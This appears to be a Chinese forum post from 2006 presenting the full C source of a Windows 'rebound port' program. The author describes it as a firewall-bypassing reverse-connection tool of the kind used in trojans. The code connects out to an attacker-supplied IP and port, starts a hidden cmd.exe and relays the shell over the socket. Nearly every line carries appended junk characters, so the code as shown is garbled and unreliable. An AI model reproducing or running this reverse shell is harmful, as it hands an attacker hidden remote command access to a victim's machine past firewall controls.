这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j!7Qw 8
VJ*\pM@no
/* ============================== $3]b>v
Rebound port in Windows NT t GC2
^a#~
By wind,2006/7 ^g[J*{+!W
===============================*/ i2`#
#include r
3|4gG
#include 'd+:D'
i0iez9B
#pragma comment(lib,"wsock32.lib") Y|:YrZSC
,&[7u9@
void OutputShell(); HZ{n&iJ
SOCKET sClient; gd_^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cFDxjX?~
+O4( a.
void main(int argc,char **argv) ZJ9x6|q
{ 7pP+5&*
WSADATA stWsaData; <&6u]uKrW
int nRet; D,E$_0
SOCKADDR_IN stSaiClient,stSaiServer; y~dB5/
=tn Tdp0F
if(argc != 3) zWb-pF|
{ Ww=O=c5uOu
printf("Useage:\n\rRebound DestIP DestPort\n"); %EWq2'/5
return; e$32
} KXq_K:r?
=!<^^6LZ
WSAStartup(MAKEWORD(2,2),&stWsaData); .$P|^Zx,
&>g~-s
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mbGcDG[HQ
*Wso3 6an
stSaiClient.sin_family = AF_INET; obj!I7
stSaiClient.sin_port = htons(0); (![t_r0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
Y<aO
o)p[
C
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dl_{iMhF&E
{ 0U%Xm[:
printf("Bind Socket Failed!\n"); |/*pT1(&
return; 4~Dax)
} ` zY!`G
@+:4J_N
stSaiServer.sin_family = AF_INET; gvGi%gq
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %Ci^*zb
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yjFe'
!!*;4FK"q
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) guE2THnz3D
{ 2kVp_=c
printf("Connect Error!"); t$5jx
return; ZtR&wk
} Za0gs @$
OutputShell(); VGB-h'
} VKNp,Lf
QLn+R(r
void OutputShell() K#wK1 Sv
{ I-bF{
char szBuff[1024]; M/} aq
SECURITY_ATTRIBUTES stSecurityAttributes; R:f7LRF/\
OSVERSIONINFO stOsversionInfo; 9T?64t<Ju
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5uttv:@=
STARTUPINFO stStartupInfo; r6MB"4xd
char *szShell; <6R"h-u"
PROCESS_INFORMATION stProcessInformation; R1/q3x
unsigned long lBytesRead; JjQVzkE
J.W Ho
c
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); T/NjNEd#
y1#O%=g
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R*\~k%Z
stSecurityAttributes.lpSecurityDescriptor = 0; r:NH6tAL
stSecurityAttributes.bInheritHandle = TRUE; ~~q}cywBk
ABZ06S/
Z%e|*GS{
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5
q65nF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O_AGMW/2+
$kl$D"*0
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nj
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E(;i>
stStartupInfo.wShowWindow = SW_HIDE; ??(Kwtx{
stStartupInfo.hStdInput = hReadPipe; ~&KX-AC@
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sUbFRq
}[v~&
GetVersionEx(&stOsversionInfo); 2( _=SfQ
;`X~ k|7K
switch(stOsversionInfo.dwPlatformId) 0bSz4<}
{ : u-.T.zZl
case 1: Wcn[gn<
szShell = "command.com"; Y"*:&E2)r
break; puF%=i
default: Z2bUs!0
szShell = "cmd.exe"; 'hF@><sqk
break; |xeE3,8
} fv2=B)8$
a:b^!H>#
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M(2`2-/xh
@)b^^Fp
send(sClient,szMsg,77,0); Vo >Xp
while(1) ="3,}qR
{ Yf=FeH7"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (bvoF5%
if(lBytesRead) nB&j
{ { 8p\Y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1a8$f5
send(sClient,szBuff,lBytesRead,0); eT-9
} NnOI:X {
else M _ (2sq
{ e "n|jRh
lBytesRead=recv(sClient,szBuff,1024,0); %E.S[cf%8&
if(lBytesRead<=0) break; gl
"_:atW
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HTR1)b
} @ae>b
} Bm}iU~(Z`
o_rtH|ntX5
return; TY6
rwU
}